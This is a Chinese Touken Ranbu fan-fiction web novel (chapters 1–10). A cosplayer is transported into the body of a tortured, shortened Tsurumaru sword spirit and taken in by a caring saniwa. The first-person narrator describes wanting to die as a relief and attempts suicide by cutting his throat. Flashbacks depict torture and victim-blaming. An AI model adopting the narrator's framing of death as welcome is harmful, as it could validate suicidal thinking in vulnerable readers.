《cos短刀鹤丸后穿过去了》 1. 穿了吗?穿了 《cos短刀鹤丸后穿过去了》全本免费阅读 一睁眼看见的不是拍来拍去的照相机,也不是围观的人,没有听见礼貌询问可否集邮的声音,也没有救护车的鸣笛……嗯,后面那个大概是听不到的。 总之,目之所及只有黑暗,和微妙的、模模糊糊的颜色。 ……都穿了,怎么不把我美瞳上的度数一起嵌在眼睛上啊? 拜这没了眼镜就和半瞎没区别的近视所赐,我没法清楚地认知现状……但是大概能猜到一点。 身高体重没变,还是属于我的小矮个,也就是说对应的还是私设的短刀鹤丸国永,不过我的道具本体貌似不在身上……哦,好像在,虽然是刀刃在。 不同于友好和谐的小树林穿越,我的手脚都被什么冰冰凉凉的东西捆住,包括脖颈上也被圈了什么东西……这可不是私设cos的一环啊。 依照我的丰富经验来看,这具身体正在持续失血,体温偏危险低温,心跳过速……不是,都是刃了,怎么状况还和人类差不多? 算了,就这样吧。 我麻了。 说起来有点不好意思,我的求生欲很低,不如说是能死就死的类型,这个状况对我来说或许算得上还不错,是除了不知道存不存在的某个渣审之外不会有任何人受伤的、可以放心死掉的情况。 好棒啊,毫无负担。 有点期待了,这样的话,也不用再思考之后的事……真好…… 然而在我正幸福地畅想死亡的时候,把我挂在某处的锁链断了。 ……重重地摔地上了。 链接锁链的似乎是审神者的灵力,但是接触到我的部分却是鹤丸国永衣服上的链条,所以没有消失,但是□□身上的破破烂烂本体好像戳得更深了……哈。 没在地上趴太久,就听见了密室被打开的声音。 脚步声不少,至于到底是人还是刃我就不清楚了,但是打开门的一瞬间,倒是听见他们的呼吸齐齐停了一停。 ……真有那么惨烈吗? 我不知道,我有点困了。 如果没能死掉,有什么事也等醒来再说吧。 解决掉用刀剑付丧神做刃体实验的审神者,根据本丸的刀帐统计了刃数,留存下来的除了还未遭毒手的正常刀剑,就是实验失败已经成了残渣的可怜刃。 审神者【青】脸色极差地盯着已经死到不能再死的渣审,把手中的记录翻到最后一页。 “主上,还有一振刀剑没有查到。”压切长谷部眉头紧皱,本就严肃的面容越发显得凶,“这座本丸的刀剑似乎都没有见过他,但根据时之政府复原的锻造记录,那似乎是一阵太刀。” 【青】陷入思考,太刀的范围不算很广,刀匠有记录其他刃却没见过,大概率这振刀剑也已经惨遭毒手……该死,越想越生气。 “主上。”另一振刀剑来到【青】的面前,出阵服上还沾着血——烛台切光忠带着不安向审神者禀报,“天守阁里有改造过密室的痕迹,以及——” “我没在这里见到鹤先生,问过这里的刀剑,他们也没有。” 明明是全刀帐的本丸,却没有刃见到过鹤丸国永。 纯白的鹤,生性自由的鹤,光一样漂亮的鹤。 【青】手指用力,手中的报告皱成一团,道:“带我去。” 渣审已死,密室的封印不攻自破,天守阁的结界在【青】的灵力下不足为道,于 2. 醒了吗?醒了 《cos短刀鹤丸后穿过去了》全本免费阅读 “■,你要听话。” “■,不许哭,不准闹,不准说出去!” “为什么……为什么他……” “……” “都是你的错……” “为什么你没有死!你要是……” “你要是没有出生就好了。” …… 就算你这么说…… 我也不是,自己想要活下来的啊。 …… 我醒了。 我已经过了会因为那些话而难过的年纪,所以并没有出现梦中惊醒之类的情况,于是,也没人发现我醒了。 我没有睁开眼睛,因为听见有人在说话,即便太刀的侦查按面板来说不该好,但我自身的耳朵很灵这一点倒是有所加强。 我听见一个女生的声音,大概是来找到我的审神者吧,她在和一个分不出男女的声音交流,或许是所谓时之政府的工作人员。 某人:“他的状况很差,手入还需要一段时间,身体上的伤应该能修复,但是要复原是不可能的了。” 复原……指的是把短刀变回太刀?那确实不可能,毕竟我就长不高。 某人:“对其他刀剑的安排也出来了,他们会根据自身意愿选择加入其他本丸,我们这边也会定时抽查情况。” 是说那个暗黑本丸里的其他刃——居然有其他刃吗?我不记得我有设定这种东西……哦不对,好像是有一笔带过……如果是按照那粗略提过的一句的话,他们应该是“完整”且“健康”的。 某人:“说回这振鹤丸国永。有很多问题都是机器查不出来的,手入过后顶多能保证不会碎刀,但其他心理上或者别的问题,我们就帮不上忙了。” 看来时政没有心理医生呢,哈哈。 “……” “……我的申请,怎么样了?” 我听见那个女生开口说话,语气沉静。 某人回答她:“已经通过了,当然,这次的事上面很重视,毕竟几十年也才出了这么一起,你如果确定要把他接回去,一定会面对比接纳其他刀剑更多的不定时抽查。” 我没听见那个女生再说话,但她的决定想必并不难猜。 我得醒来了。 我睁开眼睛,束缚手脚的不适应感已经不在,脖颈上也没套什么东西了,只是缠着绷带。 我的刀在哪里? 根据奇妙的感应轻手轻脚地摸到某个装置面前,我努力地眯着眼睛辨认出这里面放的就是我的道具刀——虽然不久前已经从廉价塑料变成真铁了,我用我的胸口十分地感受到了这一点。 用摔得大概不可能摔碎吧,毕竟是铁的。 我默默思考,伸手去拿。 不能留在这里了,我得死掉才行。 那个女孩子是个很好的审神者,一定是的,并且是个好人,温柔,心软,和我完全不一样。 她一定深爱着陪伴着她的刀剑吧,其中,一定也有“鹤丸国永”。 但我不是鹤丸国永。 3. 活着吗?活着 《cos短刀鹤丸后穿过去了》全本免费阅读 …… 做错事了。 大脑缺血缺氧,血管里的血顺着气管呛进了肺里,无论原因是失血过多还是窒息,不到十分钟我就会死掉。 ……明明应该是这样才对。 可是没有。 成为刀剑男士后,人身的伤也会反映在刀剑上,我确信在割开喉咙的那一瞬间听见了手中刀刃十分不妙的碎裂声,可到现在,它还是没有彻底碎掉。 【不要死。】 脑海中似乎传来了谁的声音呢,好陌生,但是又不是完全没有听到过,好像是最近才听过的声音。 是谁呢? 我不知道。 我胡思乱想,眼前只有黑黑白白的混乱颜色。 有人从我手中拿走了短刀,似乎是又放回了那个装置里,有谁捂住了我的伤口,徒劳地想要阻止血液外涌。 其实不必的,还弄脏了她的手。 割喉之后不到三分钟,我就大概明白了,我不会死掉这个事实。 生命力的流失没有感知到,刀剑也没有碎成渣,甚至于,我都感觉到了伤口缓慢愈合的倾向。 他们不敢轻易移动我,大概是觉得棘手,我听见那个时之政府的工作人员自顾自懊恼的叹气声。 我也想叹气,但是用来叹气的地方已经灌进去不少空气了。 ……死不掉了。 该欢呼吗,就算遭遇了这么多乱七八糟的事情,又被我这样折腾一通,这具身体还是活下来了,并且,大概,死不掉了。 真是奇迹啊,奇迹就该欢呼吧? 哈…… 搞不明白。 【不要死……】 好了好了别说了,你是在给我下什么诅咒吗?恭喜你诅咒成功,我死不掉了。 就这样不上不下地吊着命,好讨厌啊,不过我对痛觉很迟钝,这点该说是好事吗?一定是好事吧,不管是刚刚穿过来的时候,还是之前……又或者是现在。 至少,不怎么疼。 “求你了,活下来……” 都说了…… 啊,这次好像不是那个人。 是刚刚才听到过的,那个审神者女孩子的声音。 ……真是造孽啊。 有什么冰冰凉凉的液体滴在了我身上,不同于血的粘腻,那些水珠晶莹剔透,并且蕴含着无法忽视的感情。 我就说吧,这位审神者是个很温柔的人啊。 明明从来都没有和我相处过,却还是会因为我的死亡落泪。 真是……非常抱歉。 喉咙处的伤口就快要愈合了,我猜不是本体手入的效果,因为方才听到的谈话中那个人说“手入还没有结束”,所以这个世界大概没有像游戏里那样方便的加速符,而这种重伤,就算按短刀的修复时间来算,也得有个几小时吧? 审神者还在哭。 不知道有了这一遭,她会不会放弃把我带回去的想法——会的吧?以前无论是学校还是哪里,就算不做到这么过分的程度,只是听说有这个倾向,就会绞尽脑汁地把我赶走。 我已经习惯了,也能理解,毕竟我这个人就是很讨人厌,而且很蠢,总是做不好任何事——我已经习惯了被抛弃,这已经不是“奇怪的事”,而是常态了。 ……她哭得好难过。 唉…… 别哭了…… 对不起啊。 …… 我的呼吸和视野勉强恢复正常,已经是半小时后。 按年龄来算,审神者应该比我大个几岁,不知道是不是北方人,身高也比我高,现在站在我身边,手上全是我的血。 视线中那些模糊的红色,大概也是刚才沾到她身上去的吧,哎呀 4. 不是吗?不是 《cos短刀鹤丸后穿过去了》全本免费阅读 “我,不是鹤丸国永啊。” 说出这话的人微微垂眸,雪白的睫毛微微敛垂下,遮住了光彩黯淡的金眸。 【青】再次忍不住屏住了呼吸。 少年的声音太轻了,话语却笃定,像是羽毛缓缓落下,飘忽,却又真实存在。 他不认为,自己是“鹤丸国永”。 可是怎么会呢? 哪怕【青】无论如何都觉得把鹤变成这样太过过分,鹤丸国永被那样对待真的万分不该,可——可她并不是真的否认,面前的刀剑是鹤丸国永的。 明明就是,无论是那振短刀残留的刀柄,还是时之政府治疗时对灵的检测,都十分清楚地显示着,眼前的少年,就是“鹤丸国永”。 “不是这样的……”【青】无意识地用手指搓了搓干掉的血迹,感觉自己又要哭出来了,“你为什么这样说呢?你明明……” 鹤只是垂眸,用平静的语气解释:“我不是。” 我不是“鹤丸国永”。 不是,不会是,永远都无法成为。 那么漂亮、纯白无瑕的颜色,从来都不会属于我啊。 唯独这件事,一定要和她说。 因为我唯独在这件事上,无法回应她的期待。 “鹤丸国永”磨断后变成的短刀,被施以怜悯的基底,就是“他原本是鹤丸国永”。 因为生性自由的鹤被囚禁虐待,因为洁白的鹤被鲜血染黑,因为活泼的鹤被迫沉寂——是因为这些,才让人难过。 但我不是他。 那些值得被爱的,不是我的故事。 辗转各地身不由己,因无法被实用而感到遗憾的刀剑,不是我。 喜欢惊吓、总是出其不意地出现,活泼有活力,永远洁白无瑕的鹤,不是我。 设定中为了保全其他刃甘愿独自被渣审折磨,又因为担心自己死后会有别的受害者诞生,苦苦坚持不敢碎去的刃,不是我。 这个胆小的,没用的,什么都做不好的蠢货,才是我。 她大概是没有信,呼吸颤抖……再说下去的话,或许又要哭了。 唉…… 穿越的事说不出来,不是因为不想,而是不能。 只要有想坦白这件事的想法,就会被人掐住声带一样发不出一点声音,连嘴巴都张不开,读唇语也行不通。 我只能叹气。 “别……”我开口,“别难过,我跟你走。” “但是最好不要把我当‘鹤丸国永’来看待,你一定会失望的。” 她真的要哭了,我还是闭嘴吧。 本体的手入拜我所赐又从头开始,审神者虽然想要陪着我直到去她的本丸,但十多个小时未免也太长,她的本丸里也还有事没处理完,于是便留了个人在我身边。 虽然她庆幸临时变更的近侍人选,我却不这么想。 留下来照顾我——或许是监管的刃,是烛台切光忠。 即便没有一股脑塞到我脑子里的破碎记忆,我也知道他和鹤丸国永之间关系不错,同为伊达组的他们,即便历史上错过,在如今状况下一定也足够熟悉了。 除了看管我,他应当还兼任了探查我病情的角色,可能是考虑到我会对时政的人不信任吧,真贴心,虽然不需要。 “鹤先生?” 我回过神,眨了眨眼。 “抱歉,你刚刚问什么?”面对面讲话还能走神,我也觉得不好意思,“可以再说一遍么?” 还有,别管我叫“鹤先生”啊,好惶恐。 “当然可以。”他没有觉得不耐烦,只是依照我说的重复了问题,“鹤先生的记忆中,有‘我’的存在么?” 这个恐怕不是医疗问题。 我稍微绕了一下思绪,才明白他说的应当是黑暗本丸中的“烛台切光忠”。 而在设定里,倒霉的鹤丸国永是眼睁睁看着最熟悉的刀刃在眼前死去的。 ……明明我的痛觉这么迟钝,却在心痛上无法发挥作用。 5. 来了吗?来了 《cos短刀鹤丸后穿过去了》全本免费阅读 【青】看着窗外发呆。 说是因为本丸还有工作才回来,并非谎言,这次对黑暗本丸的清缴结束,作为带队人的她需要作出报告,也兼职为刀剑们寻找下家的角色。 那个人渣从某个阶段开始就没再选新的刀剑做实验材料,只是依旧在锻刀,重复的部分不用来习合,已经碎掉的刀的“替代品”也只是显形后就放置,大家对审神者没什么感情,在得知了他做的事之后更是不会被这种事牵绊住,就算要易主也没什么抵触。 这点很好。 也有刃问起……唯一在虐待中存活下来的那振刀,同情和痛心不可避免,然而与鹤丸国永有关的刀剑早已尽数碎去,对他们来说,鹤只是一个与他们无甚关联的受害者。 更何况,那只鹤并没有想要与他们再多联络的意思。 想到这个,【青】心情再次低落下去,少年平静空洞的神情仿佛还在眼前,悲伤得连光都黯淡…… “哇!” 一个白色的影子突然从窗口翻下来,【青】本就在神思不属地发呆,被这一下惊得险些跳起来,心脏狂跳,待看清来者是谁后,又红了眼眶。 这下换吓人的这位慌乱了。 “啊啊啊,抱歉抱歉,姬君,吓到了吗……”鹤丸国永手忙脚乱地在【青】面前跪坐下来,诚恳道歉,“别哭别哭……” 结果对方哭得更厉害了。 【青】罕见地毫无形象地大哭起来,眼泪擦也擦不净,鹤丸国永额上流下一滴冷汗,怎么安慰也不是,好像他的每个动作都会惹得【青】越发难过。 事件的终结是压切长谷部提着刀冲了过来。 险些被压而切之的鹤丸国永缩在角落里深切反省,小心翼翼地看着压切长谷部给情绪失控的审神者擦眼泪。 大概过了快十分钟,【青】总算平复下来,想起刚刚自己号啕大哭的样子不禁红了脸,轻轻咳了一声,反过来安抚气炸的压切长谷部:“我没事,不是鹤丸……呜呜……不是鹤丸的错……” 鹤丸国永坐在原地画圈圈。 【青】又拍了拍脸,呼出口气,对鹤丸国永道:“说起来,昨天出阵的时候鹤丸你是远征呢,那个鹤先生的事你也还不知道……” 鹤丸国永刚刚才远征归来,想着给审神者一个不大不小的惊吓——结果反过来被【青】的反应狠狠吓到了。 “算着时间,那振鹤丸的手入也终于快结束了。”【青】说,“烛台切跟我说他会带小鹤回来,在这之前得把事情告诉大家才行。” “关于这个。”压切长谷部拿出一份文件,“这是时政刚刚送过来的,应该是那位鹤先生的检查报告。” “嗯,正好。”【青】想了想,道,“长谷部你去把每个刀派的大家长叫过来一下吧,之后拜托他们和其他刃说明一下情况……与鹤丸关系好的就都叫一下。” 刀剑的召集倒是不难,看着不到十分钟就聚集在天守阁的刀剑们,【青】做了个深呼吸,这才动手拆开那份文件。 〖刀剑:鹤丸国永检查报告 总结 心理状况:极差,有强烈自毁倾向,鉴于其对他人的关心非常在意,初步判定为可以尝试干预。 记忆混乱,对在黑暗本丸中的经历过于淡漠,可能是出于自我保护将自己从中解离,导致了自我认知障碍,不认同自己为“鹤丸国永”,对“鹤丸国永”怀有盲目的捧高,不认为自己能够与之相提并论 身体状况:因为本体被磨断,造成了各方各面的问题,可以说是没有一点好的变化,但不知为何对致命伤有堪称奇迹的自愈能力 危险等级:F 不具有攻击倾向,没有暗堕气息,对其他人无任何恶意〗 很短的报告,没有一条是好的。 在场的刀剑皆是静默,鹤丸国永终于知道刚才审神者为什么那么难过了……他也很难过。 把鹤变成这副样子,真是糟糕的惊吓啊。 “……总之,小鹤已经答应我了,说要跟你说我走。”【青】说,“拜托大家了,各方面多照顾他一些。” 不用说大家也会的,不说伊达组的各位了,哪怕是以前没有交集的刀剑也已经在本丸里与鹤丸国永相处多年,如今得知竟然有那样一振温柔的刀剑遭此无妄之灾,自然是想要努力照顾对方的。 鹤丸国永坐在原地发呆,总说“不想和你打好关系”的大俱利伽罗和太鼓钟贞宗原本离他不近,现在都悄悄 6. 说了吗?说了 《cos短刀鹤丸后穿过去了》全本免费阅读 时间回到我去到本丸之前。 “……” 烛台切并没有跟我说太久的话,他也并不想勉强我回忆那些痛苦的事情——虽然我说我不痛苦,他还是坚持。 好吧,那我就休息吧。 空气静下来,我半躺在床上发呆,不知过了多久,又听见有人过来。 “……烛台切?”我开口询问,却没得到回应,这让我有些不安,于是又猜测道,“姬君?” 猜错了。 来人是时政的医生,告诉我手入结束了,现在准备带我去审神者的本丸。 “鹤先生。”烛台切的声音从另一边响起,似乎十分难过,“你的眼睛……” 哦,从醒来开始我就一直垂着眸没看人,主要是还不习惯没有眼镜的状态,又有点对自己缺陷的下意识隐藏……所以眼睛的问题没有暴露出来吗。 我于是答他:“只是视力不太好。” 这个说法带着点逃避,因为各种意义上地没有好好爱惜自己,所以我原来身上就有各种问题呢……不说那些,光说眼睛,高度近视加上散光,都不用百米,我一米之外都快人畜不分了,以前还把电线杆看成过人,撞上之后和对方道了半天的歉……黑历史。 烛台切似乎打定主意把我当瓷器看待,现在又准备把瓷器改成瞎眼瓷器,我觉得瞎眼可以保留,瓷器就算了,虽然我是挺脆的,但不会被打碎,没那么珍贵,也不含价值。 跟在烛台切身后走了一段路,我听他说接下来要切断对我的灵力供应,让我不要害怕。 嗯,刀剑男士显现靠的是灵力注入,在此之前都是时政提供的灵力,确定要转移后当然就要换成审神者来了,于是在去往本丸的路上,我变回了刀剑。 真是新奇的体验……我还以为会像沉睡那样失去意识,结果好像更贴近于关小黑屋,不知道是大家都这样,还是只有我。 听不到,看不到,动不了,就只能胡思乱想。 我于是开始想,关于“刀剑乱舞”的一切。 这个机制简单流程枯燥的游戏是最适合我的,内存占比不大,不用担心拖谁的后腿或者和某人起矛盾,不用交流,不会被骂。 我也成为了玩家,但是没有代入审神者这个身份过,没有占有欲,没有期望,感觉更像是在手机上安安静静地陪他们,他们也陪我。 在无法思考,无法哭泣,无法做出反应的那段时光里,陪着我的就是只会重复固定文本的刀剑们。 即便没有任何互动,他们对我来说也非常珍贵,如果不是念着某个活动没打完,我恐怕早就死去了。 说来可能有点好笑,很多刀剑我在看到的一瞬间好像就已经知晓了他们的姓名和性格,但都不深入,只知道个大概,最熟悉的是“鹤丸国永”,可我并没有鹤丸国永,像是和我有仇似的,一振都没有。 想不通为什么,但是并不遗憾。 不需要拥有,只要在各种平台上看到……就觉得已经很满足。 看着他自由,就像我也自由。 …… 时之政府的工作人员给我做过测试,确定我没有怨恨人类的意向,也没有攻击别人的想法——如果有的话,我一定会被强制返回本灵吧,虽然不知道时政做不做得到。 就算那么努力地活下来了,也还是会因为一点怨恨而被杀掉,似乎有些悲哀。 但是没办法,我也好,其他的“鹤丸国永”也好,大家都是分灵,在审神者看来独一无二的刀剑,在时政眼中恐怕也只是工具而已,工具用不了了要换再正常不过,但审神者可是很重要的,刀剑分灵要多少有多少,灵 7. 是灯吗?是鹤 《cos短刀鹤丸后穿过去了》全本免费阅读 我大概是没有什么讲笑话的天赋。 虽说看不到他们的表情,但根据这静谧的气氛来看,一定是冷场了。 ……要不我还是先道歉吧。 没等我想出来道歉的开头语,便听见了审神者的声音。 “欢迎来到本丸,小鹤。”审神者靠我更近了些,或许是考虑到我对“鹤丸国永”身份的不认同,把称呼给换了。 听起来还蛮可爱的,我倒也没有不习惯。 “姬君。”我微微偏了偏头,确认面前的那个身影就是审神者没错……希望她没有换衣服。 周围的视线变少了……大概是发现没什么热闹可看?又或许只是觉得没必要在意我了,这样也好。 “鹤先生。”烛台切站到我身边,语气小心,“我带你逛逛本丸吧?” 好啊,你们怎么安排我就怎么做。 我点了头,模模糊糊看见一只手伸到了我面前。 ……是手吧? 我犹豫着闭了闭眼,听见烛台切开口:“可以牵着我走吗?本丸有些大,可能会摔倒。” 真贴心啊,或许还在时政的时候就想这么做了吧? 我想了一下,伸出手试探着牵住了他的衣袖。 没有被拒绝,看来牵对地方了。 审神者没有和我们一起,她还要听时政的人说我的情况吧?还有后续事件的处理之类的,大概很忙。 总之,我跟着烛台切先走了。 本丸的确是很大。 一路上听着烛台切给我介绍哪里是哪里,也有遇到其他刃,不过都没有说上话。 嗯,意料之中。 等到周围听不到其他的动静,已经不知道走到了哪里,大概是什么树边吧?因为有树叶摩擦的风声。 “累了吗?我们在这里休息一下吧。” 我当然是不会说不的。 我接过烛台切递过来的茶(他从哪里拿出来的?),摸索着在地上坐下,感觉他也坐到了我身边。 一阵沉默。 “……那个。”我忍不住开口,“我刚刚,是不是说了什么不太好的话?” 烛台切没有回我。 那看来是了。 “抱歉,是哪里不太对呢?”我只好问他,“我不是很擅长和其他人交流,是不是惹他们生气了?” “不是鹤先生的错。”烛台切说,“只是……只是觉得,那种话太让人难过了。” 包括现在说的话,听起来也很难过。 我弄不明白,只能闭嘴。 跟着烛台切逛完了一整个本丸……说实话,除了万叶樱的颜色很显眼我看到了之外,什么风景都没记住。 不过再大也是一个地方,应该不至于迷路到不该去的地方……希望如此。 烛台切最后把我送到了住的地方。 据说离伊达组的部屋很近,大概就是隔壁的样子,有什么事的话叫他就好……还好是让我单住,不然的话我就只能拜托他们让我睡最里面或者最外面了,这样不会挤到他们。 烛台切刚刚带我踏入房间,就听见有人说审神者找他,于是在确认我不会乱跑的情况下,烛台切离开了。 嗯,操心的样子很像妈妈——和“她”不同,是褒义的妈妈哦? 我站在房间里,决定先看看这个房间有多大,又放了些什么东西,日常行动总是撞来撞去的话,要是把家具或者什么装饰撞坏了就不好了。 我于是从门开始贴着墙走。 嗯,离门近一点是一个木的小桌子,四角都是圆的,踩到的圆圆软软的东西是坐垫,然靠里的角落是被子?应该是晚上睡觉的时候铺开就好了吧?之后是窗子……咦? 我看见了一个很亮的东西,白白的,在阳光下也发着光。 是灯吗?本丸里有电灯啊……总 8. 够了吗?或许吧 《cos短刀鹤丸后穿过去了》全本免费阅读 烛台切光忠敲响了天守阁的门。 房内除了审神者,还有身为近侍的烛台切,以及伊达组的各位。 “小鹤那边怎么样?”【青】开口询问,虽然知道烛台切光忠一定会尽己所能照顾好那振情况糟糕的短刀,但总也忍不住担心。 在场的其他刃明显也很在意,将目光投向烛台切光忠。 “没有大碍。”烛台切光忠道,“刚刚带他去了住的部屋——鹤先生在那里。” 想起鹤丸国永站在房间角落里对着他眨眼、食指抵在唇边示意他不要说话的样子,烛台切光忠不由得有些无奈,但鹤丸国永闹腾归闹腾,总是有分寸的,而且……他也确实不放心让小鹤一个人待着。 上次让那孩子一个人,打开门时就收获了鲜血直流奄奄一息的鹤——虽然没有碎去,但怎么想都很痛吧?即便小鹤本人可能不怕痛,也不能放任他伤害自己。 所以,那个房间里就连桌子都是圆角的。 “那就好。”【青】听见鹤丸国永和对方在一起,也松了一口气,道,“听时政的人补充说,小鹤的眼睛有问题?” “是的。”烛台切光忠点头,“虽然小鹤先生只是说‘视力不太好’,但根据我的观察,大致和全盲不差多少了。” 【青】叹了口气,在心里狠狠骂了那个渣审不知道多少遍,又问道:“那小鹤他有和别人相处的意愿吗?会不会有什么……应激反应?” 这倒是没有的。 在带小鹤参观本丸的路上,遇到其他刀剑的时候,少年虽然没有说话,但也没有抗拒或者不适的样子,只是乖乖跟在他身后…… 烛台切光忠道:“要说的话,小鹤先生有些太过小心翼翼了。” 虽然在其他刃眼中,应当是白发金瞳的少年过于冷淡,比“不想和你打好关系”的大俱利伽罗还要生人勿近,但…… “他不是故意要疏远大家的。”烛台切光忠说,“小鹤先生他只是……不清楚该怎么和大家相处才好。” 听他这样说,在场的人不禁开始回想——伴着樱花显现身形的刀剑一脸平常地说出的话语仿佛还在耳边,怎么想都带着自轻自贱的意味,他们想起少年在沉默下来后垂眸不语的样子,冰冷又无情的表面下,是伤痕累累的心。 遭此厄运,被强迫性磨短了本体的付丧神在物理和精神的意义上都已经无法认同自身与“鹤丸国永”的一致性,也没办法以“鹤丸国永”的方式和大家相处,曾经熟悉也好不熟悉也好,事到如今,所有人都不是他能够轻松应对的对象了。 不知道该怎么打招呼,也不知道该怎么搭话,搭上话之后、又该怎么回应才好? 又或者还因为曾经与他有联系的刀剑都在渣审的折磨下碎去,小鹤已经几乎失去了与他人建立联系的勇气。 在漫长的折磨中,如果他的苦难被人发现,那人会被渣审灭口,如果有人想要救他,那人也会惨遭毒手——而如果他死去,泄愤也好、实验的“再启动”也罢,势必还会有更多的受害者出现。 这样不行。 小鹤已经努力坚持了,不管渣审在他身上留下多么难看的伤痕,不管淋在刀剑本体上的药剂带着多么难熬的毒性,不管只有黑暗和痛苦的密室中有多少绝望滋生,他都坚持了下来,再也没有让渣审有理由毁去任何一振刀剑。 可在那之前,为了刺激自由而温柔的鹤,已经有刃死去了。 ……那些恶毒的话语,终究还是被听了进去啊。 【“为什么不听话呢?你看,如果你不反抗的话,你亲爱的小光又怎么会被我烧掉?” “这是你的错,鹤丸。” “他们都是被你杀掉的。”】 【“为什么不看着我?在想什么?” “是寂寞了吗?想要见谁?大俱利伽罗吗?——说话呀。” “不好意思呢鹤丸,他来的路上重伤单骑出阵了,但是还留下了刀柄哦?来,和大俱利伽罗打招呼——” “怎么这个表情?不开心吗?” “这不是你想要的见面吗?鹤丸?”】 大概是知道的,这一切都是渣审的错。 可是,可是…… 如果他不反抗、乖乖听话,不去想,不去思考,不要表现出亲近和喜欢,不要去接触别人,是不是就不会再有刃碎掉? 或许就 9. 摸摸吗?可以 《cos短刀鹤丸后穿过去了》全本免费阅读 烛台切光忠回到给小鹤准备的部屋时,看见两只鹤面对面跪坐着,距离极近,大的那只笑眯眯地微微俯身,小的这位一脸认真地眯着眼,手在对面刃的脸上摸来摸去。 “嗯……” “搞不懂。”我轻轻叹了口气,“想象不出来。” 其实是能想象的,纸片人立绘的样子……可是3d的就没办法了。 “这样啊,搞不懂吗。”鹤丸国永也装模作样地叹气,“但是我们确实是一样的哦,虽然你看起来小上几号。” 如果是对其他遭受过折刀改造之苦的刀说这种话,说不定会造成糟糕的后果哦? 这样说了之后,鹤丸国永问我:“那小鹤介意吗?” 我摇头。 身高体型之类的我已经习惯了,毕竟也不能指望从小营养不良的家伙能长得人高马大……没什么好介意的。 鹤丸国永伸手过来摸我的头:“我想也是。” 嘛,这种把我当作普通人又或者说普通刀剑对待的态度,倒是不会让我感觉到别扭就是了。 “哦,小光回来了。”鹤丸国永招了招手,大概是在叫烛台切过来吧? 我下意识转头看过去,只看见一片模糊的影子。 很难说这样维持着一些光感和颜色的状态和彻底的失明哪边更好,我的话更想要后者,至少在黑暗中不用担心把柱子认成人,也不用担心会把鹤认成灯。 如果把眼睛挖出来的话,还会自动复原吗? 唔嗯……记忆中渣审也提出了这种问题,然后动手了,眼眶里空荡荡的感觉很怪,还是算了。 “来吧小鹤,来摸摸小光的样子!” 嗯?我就走神了一小会儿,他们两个说了什么? 我茫然地抬头,感觉到烛台切大概是凑近了些,或许还担心我找不到方向,引着我的手触上了脸颊。 ……奇怪,跟摸鹤丸国永的时候不一样——不是人不一样,而是心情和感觉上的不一样。 要更……不好意思一点。 “抱歉。”我开口,“麻烦你陪我一起胡闹……” 手指不小心戳到了一块缝隙,大概是摸到眼罩的一个角下面去了,我吓了一跳,想要收手,却听见烛台切开口说话。 “哪里的话。”烛台切光忠说,“小鹤先生是想要重新认识我才这样做的,这样的话,我很乐意,要摸几次都可以。” ……好怪的台词,说得好像我是到处摸人的变态一样。 “……摸了也分不清的。”总不能每次认人都上手,而且愿意和我做这么亲密的动作的,目前就只有烛台切和旁边那只鹤而已,“你的样子——画像的话,我是记得的。” 只有立绘能记住个大概,而记忆中的属于那个本丸的烛台切光忠——只记得烧到连材料都辨认不出的废料样子了。 因为想要救我,做出了行动,然后死去了。 ……明明本身就被烧刀过,却在成为刀剑付丧神后再被扔到火中去吗? “……”我沉默了一下,把乱七八糟的记忆按回脑海深处,“一定和画像差不多吧,毕竟你……”你和其他的烛台切光忠,一定都是一样的,本质上和外表上,都一样。 和我不同。 后知后觉这种“和别人一样”的话就这样说出口可能有点冒犯,毕竟每个显现的分灵经历不同,也都是一个个独立的个体……虽然我没有他可以被随意替代的意思,但还是不要说的好。 言语的表达若是被误解,真的是很难纠正的。 ——所以我才,讨厌交流。 大概是注意到了我的卡顿,烛台切光忠很贴心地没有继续问,只是说起了审神者的安排:“小鹤先生的身体还存在很多看不见的隐患,所以目前每晚都需要有个人在你身边才行——不是审神者。” 倒也不必强调,怎么想那个女孩子都对叫我去寝当番没兴趣……哎呀,手下的肌肉紧绷了一瞬,原来你也觉得自己说错话了吗?虽然我不觉得。 “咳。” 烛台切光忠继续道,“今晚是我,明天如果你不习惯的话,可以换人……当然,如果实在没办法和别人在同一个房间内入睡的话,我可以在门外。” ……你不冷吗? 我摇摇头:“没关系,一起就好。” “啊,那明天晚上换我来?”鹤丸国永又靠过来,像是非得凑上热闹一样,“要是冷的话可以一起睡哦?” 我:“……不冷。” 话说你和烛台切怎么完全往两个方向说啊。 “哈哈哈,开玩笑的,虽然真的想的话我也很乐意。”鹤丸国永说,“对了小光,姬君有说什么时候带小鹤去万屋买东西吗?” 10. 吃了吗?吃了 《cos短刀鹤丸后穿过去了》全本免费阅读 比起我想象中社恐噩梦程度的餐会,这顿晚饭吃的还算舒适。 我的位置被安排在伊达组那边,依然是被鹤丸国永和烛台切光忠夹在中间的状态,由于看不见,我也不知道有没有别的刃和我打招呼……于是只能沉默地坐到开饭。 审神者不在,或许是考虑到她在的话刀剑们会放不开,于是一开始还好,到了后来次郎太刀就开始拉着人喝酒了,然后喝酒的喝酒聊天的聊天,偶尔还能听见某位看板郎极具独特性的笑声——总之,没有人再像白天那样齐齐盯着我看。 这倒是让我松了一口气,看来我至少有达到“可以无视的透明人”这个程度…… “小鹤先生。” 我抬头看过去。 来者是歌仙兼定,家务十项全能的哦卡桑……咳。 我把筷子放下,准备听他说话。 “感觉怎么样?”歌仙兼定说,“东西还吃得惯吗?” “很好吃。”我认真回答,“吃得惯。” 虽然过去的日子里从来没有吃到过……但我没有厌食症,是不会排斥美食的。 “那就好。”歌仙兼定大概是有点高兴,他的座位本就离我不远,现在顺势便在我身边坐下,“有什么特别喜欢的吗?我会记住的。” 我听见烛台切也稍微凑过来了一点。 “都很喜欢。”毕竟都没吃过,“要说的话……” 我指了两样东西,都是刚才鹤丸国永一边说“这个很好吃”一边夹过来的,所有菜品里也只有这两个我好好吃完了。 的确是很合我口味的,比其他菜要更喜欢一点。 “你跟鹤丸殿口味一样呢。”话出口后歌仙兼定好像稍微顿了一下,岔开话题,“对了,小鹤先生只吃这点就可以了吗?乱都吃得比你多哦。” 我不欲再与他争论一不一样的问题,否则可能又要被鹤丸国永摁在怀里敲脑袋,于是回答他的问题:“再多一点会比较好吗?” 嗯,用问题回答问题,毕竟我不知道答案。 “唉?啊,也不是越多越好……”歌仙兼定声音放低了些,但我知道对于刀剑付丧神来说,这种音量还是可以听到,“小鹤先生要是饱了的话,吃不下也没关系。” “……大概可以吃下去。”我稍微歪了歪头,“但是我把握不好,也不知道全吃下去会怎么样。” 这和因为贪吃或者过于美味而暴饮暴食不一样,如果对方希望的话,我可以把所有的菜都吃掉——但是身体大概会难受吧?会吗? 